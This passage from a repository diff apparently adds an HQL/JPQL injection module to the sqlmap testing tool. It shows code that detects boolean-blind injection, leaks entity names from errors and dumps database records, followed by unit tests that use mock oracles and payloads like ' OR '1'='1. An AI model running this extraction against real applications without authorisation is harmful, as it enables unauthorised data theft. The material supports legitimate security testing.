logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity)
|
||||
return
|
||||
|
||||
pin = "id" if "id" in fields else fields[0]
|
||||
columns = list(fields)
|
||||
|
||||
# Walk records in ascending pin order: each row is pinned to the smallest pin
|
||||
# value strictly greater than the previous one. A numeric pin is required to
|
||||
# advance the cursor; otherwise only the first (smallest-pin) row is recovered.
|
||||
rows = []
|
||||
after = None
|
||||
for _ in xrange(HQL_MAX_RECORDS):
|
||||
pinValue = _inferValue(oracle, entity, pin, pin, after)
|
||||
if not pinValue:
|
||||
break
|
||||
|
||||
record = {pin: pinValue}
|
||||
for field in fields:
|
||||
if field != pin:
|
||||
record[field] = _inferValue(oracle, entity, field, pin, after)
|
||||
rows.append([record.get(_, "") for _ in fields])
|
||||
logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
|
||||
|
||||
if not re.match(r"\A\d+\Z", pinValue):
|
||||
break
|
||||
after = pinValue
|
||||
|
||||
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
|
||||
|
||||
|
||||
def hqlScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection "
|
||||
debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches "
|
||||
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = 0
|
||||
slots = []
|
||||
|
||||
for place in (_ for _ in HQL_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
backendHint, _page = _probeError(place, parameter)
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint))
|
||||
|
||||
template, payload, boundary = _detectBoolean(place, parameter)
|
||||
if not template:
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
|
||||
continue
|
||||
|
||||
backend = backendHint or "Hibernate"
|
||||
original = _originalValue(place, parameter)
|
||||
# Error leakage only helps when the app actually reflects diagnostics
|
||||
entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
|
||||
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template, boundary, original)
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend,
|
||||
entity=entity, oracle=oracle, boundary=boundary, payload=payload))
|
||||
|
||||
if not slots:
|
||||
if tested:
|
||||
logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested)
|
||||
else:
|
||||
logger.warning("no parameters found to test for HQL injection")
|
||||
return
|
||||
|
||||
for slot in slots:
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload))
|
||||
|
||||
# Blind extraction covers as much of the mapped model as reachable: the error-leaked
|
||||
# entity (if any) plus every common entity the boolean oracle confirms is mapped.
|
||||
slot = next((_ for _ in slots if _.entity), slots[0])
|
||||
|
||||
entities = []
|
||||
leaked = _shortEntity(slot.entity)
|
||||
if leaked:
|
||||
entities.append(leaked)
|
||||
|
||||
logger.info("recovering mapped entities through the boolean oracle")
|
||||
for entity in _bruteEntities(slot.oracle):
|
||||
if entity not in entities:
|
||||
entities.append(entity)
|
||||
|
||||
if not entities:
|
||||
logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction")
|
||||
logger.info("HQL scan complete")
|
||||
return
|
||||
|
||||
logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities)))
|
||||
for entity in entities:
|
||||
_dumpEntity(slot.oracle, slot.place, slot.parameter, entity)
|
||||
|
||||
logger.info("HQL scan complete")
|
||||
229
tests/test_hql.py
Normal file
229
tests/test_hql.py
Normal file
|
|
@ -0,0 +1,229 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock
|
||||
oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage,
|
||||
blind attribute enumeration, value extraction and output formatting can be exercised
|
||||
without a live Hibernate target.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
import lib.techniques.hql.inject as hql
|
||||
|
||||
|
||||
class TestHelpers(unittest.TestCase):
|
||||
def test_ratio(self):
|
||||
self.assertGreater(hql._ratio("abc", "abc"), 0.9)
|
||||
self.assertLess(hql._ratio("abc", "xyz"), 0.5)
|
||||
|
||||
def test_is_error(self):
|
||||
self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''"))
|
||||
self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'"))
|
||||
self.assertFalse(hql._isError("normal page content"))
|
||||
|
||||
def test_backend_from_error(self):
|
||||
self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate")
|
||||
self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException"))
|
||||
self.assertIsNone(hql._backendFromError("plain page"))
|
||||
|
||||
def test_entity_from_error(self):
|
||||
self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member")
|
||||
self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost")
|
||||
self.assertIsNone(hql._entityFromError("nothing here"))
|
||||
|
||||
def test_short_entity(self):
|
||||
self.assertEqual(hql._shortEntity("lab.App$Member"), "Member")
|
||||
self.assertEqual(hql._shortEntity("com.acme.model.User"), "User")
|
||||
self.assertEqual(hql._shortEntity("User"), "User")
|
||||
|
||||
|
||||
class TestBoundary(unittest.TestCase):
|
||||
def test_wrap_string(self):
|
||||
b = hql.Boundary("' OR ", " OR '1'='2", True)
|
||||
self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2")
|
||||
|
||||
def test_base_sentinel_vs_numeric(self):
|
||||
self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL)
|
||||
self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1")
|
||||
|
||||
def test_scalar_casts_attribute(self):
|
||||
expr = hql._scalar("Member", "id", "LENGTH(%s)", "id")
|
||||
self.assertIn("CAST(_h.id AS string)", expr)
|
||||
self.assertIn("FROM Member _h", expr)
|
||||
self.assertIn("MIN(_h2.id)", expr)
|
||||
|
||||
|
||||
class TestDetection(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.original = hql._send
|
||||
|
||||
def tearDown(self):
|
||||
hql._send = self.original
|
||||
|
||||
def test_boolean_detection(self):
|
||||
# TRUE payloads return rows, FALSE payloads return an empty (but stable) page
|
||||
def mock(place, parameter, value):
|
||||
if "OR '1'='1" in value or "OR 1=1" in value:
|
||||
return "<html><body><div>alice</div><div>bob</div></body></html>"
|
||||
return "<html><body></body></html>"
|
||||
hql._send = mock
|
||||
template, payload, boundary = hql._detectBoolean("GET", "name")
|
||||
self.assertIsNotNone(template)
|
||||
self.assertIn("OR '1'='1", payload)
|
||||
self.assertTrue(boundary.sentinel)
|
||||
|
||||
def test_no_detection_when_static(self):
|
||||
hql._send = lambda place, parameter, value: "<html>same</html>"
|
||||
template, _, _ = hql._detectBoolean("GET", "name")
|
||||
self.assertIsNone(template)
|
||||
|
||||
|
||||
def _recordOracle(record, entity="Member"):
|
||||
"""Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates
|
||||
the engine emits, evaluated against an in-memory record dict."""
|
||||
|
||||
def truth(predicate):
|
||||
# entity brute / attribute existence
|
||||
m = re.search(r"FROM (\w+) _h", predicate)
|
||||
if m and m.group(1) != entity:
|
||||
return False
|
||||
# entity brute: EXISTS(SELECT 1 FROM <entity> _h)
|
||||
if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
|
||||
return True
|
||||
# attribute existence: EXISTS(SELECT _h.<attr> FROM <entity> _h)
|
||||
m = re.search(r"SELECT _h\.(\w+) FROM", predicate)
|
||||
if m:
|
||||
return m.group(1) in record
|
||||
# length: LENGTH(CAST(_h.<attr> AS string)) ... >= N
|
||||
if "LENGTH" in predicate:
|
||||
m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
|
||||
n = re.search(r">=(\d+)", predicate)
|
||||
if m and n:
|
||||
return len(str(record.get(m.group(1), ""))) >= int(n.group(1))
|
||||
# char: SUBSTRING(CAST(_h.<attr> AS string),<pos>,1) ... ='<c>'
|
||||
if "SUBSTRING" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
|
||||
c = re.search(r"='(.)'\s*$", predicate)
|
||||
if m and c:
|
||||
attr, pos, ch = m.group(1), int(m.group(2)), c.group(1)
|
||||
value = str(record.get(attr, ""))
|
||||
return pos <= len(value) and value[pos - 1] == ch
|
||||
return False
|
||||
|
||||
return truth
|
||||
|
||||
|
||||
class TestExtraction(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"}
|
||||
self.truth = _recordOracle(self.record)
|
||||
|
||||
def test_brute_entities(self):
|
||||
self.assertEqual(hql._bruteEntities(self.truth), ["Member"])
|
||||
|
||||
def test_enum_fields(self):
|
||||
fields = hql._enumFields(self.truth, "Member")
|
||||
for expected in ("id", "name", "secret", "role"):
|
||||
self.assertIn(expected, fields)
|
||||
|
||||
def test_infer_string_value(self):
|
||||
self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice")
|
||||
|
||||
def test_infer_secret_with_symbols(self):
|
||||
self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice")
|
||||
|
||||
def test_infer_numeric_via_cast(self):
|
||||
self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1")
|
||||
|
||||
def test_infer_absent_attribute_empty(self):
|
||||
self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "")
|
||||
|
||||
|
||||
def _multiOracle(records):
|
||||
"""Row-aware oracle: honors the "_h2.<pin> > <after>" walk bound by selecting the
|
||||
smallest-id record strictly greater than `after`."""
|
||||
|
||||
def pick(predicate):
|
||||
m = re.search(r"_h2\.\w+>(\d+)", predicate)
|
||||
after = int(m.group(1)) if m else None
|
||||
cands = [r for r in records if after is None or int(r["id"]) > after]
|
||||
return min(cands, key=lambda r: int(r["id"])) if cands else None
|
||||
|
||||
def truth(predicate):
|
||||
if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate):
|
||||
return True
|
||||
m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate)
|
||||
if m:
|
||||
return m.group(1) in records[0]
|
||||
rec = pick(predicate)
|
||||
if rec is None:
|
||||
return False
|
||||
if "LENGTH" in predicate:
|
||||
m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate)
|
||||
n = re.search(r">=(\d+)", predicate)
|
||||
if m and n:
|
||||
return len(str(rec.get(m.group(1), ""))) >= int(n.group(1))
|
||||
if "SUBSTRING" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
|
||||
c = re.search(r"='(.)'\s*$", predicate)
|
||||
if m and c:
|
||||
value = str(rec.get(m.group(1), ""))
|
||||
pos = int(m.group(2))
|
||||
return pos <= len(value) and value[pos - 1] == c.group(1)
|
||||
return False
|
||||
|
||||
return truth
|
||||
|
||||
|
||||
class TestMultiRow(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.records = [
|
||||
{"id": "1", "name": "alice", "role": "admin"},
|
||||
{"id": "2", "name": "bob", "role": "user"},
|
||||
{"id": "5", "name": "carol", "role": "staff"},
|
||||
]
|
||||
self.truth = _multiOracle(self.records)
|
||||
|
||||
def _walk(self, fields, pin):
|
||||
rows, after = [], None
|
||||
for _ in range(20):
|
||||
pinValue = hql._inferValue(self.truth, "Member", pin, pin, after)
|
||||
if not pinValue:
|
||||
break
|
||||
record = {pin: pinValue}
|
||||
for field in fields:
|
||||
if field != pin:
|
||||
record[field] = hql._inferValue(self.truth, "Member", field, pin, after)
|
||||
rows.append(record)
|
||||
if not re.match(r"\A\d+\Z", pinValue):
|
||||
break
|
||||
after = pinValue
|
||||
return rows
|
||||
|
||||
def test_walks_all_rows_in_order(self):
|
||||
rows = self._walk(["id", "name", "role"], "id")
|
||||
self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"])
|
||||
self.assertEqual([r["id"] for r in rows], ["1", "2", "5"])
|
||||
self.assertEqual(rows[2]["role"], "staff")
|
||||
|
||||
|
||||
class TestGrid(unittest.TestCase):
|
||||
def test_grid(self):
|
||||
out = hql._grid(["id", "name"], [["1", "alice"]])
|
||||
self.assertIn("alice", out)
|
||||
self.assertIn("+--", out)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue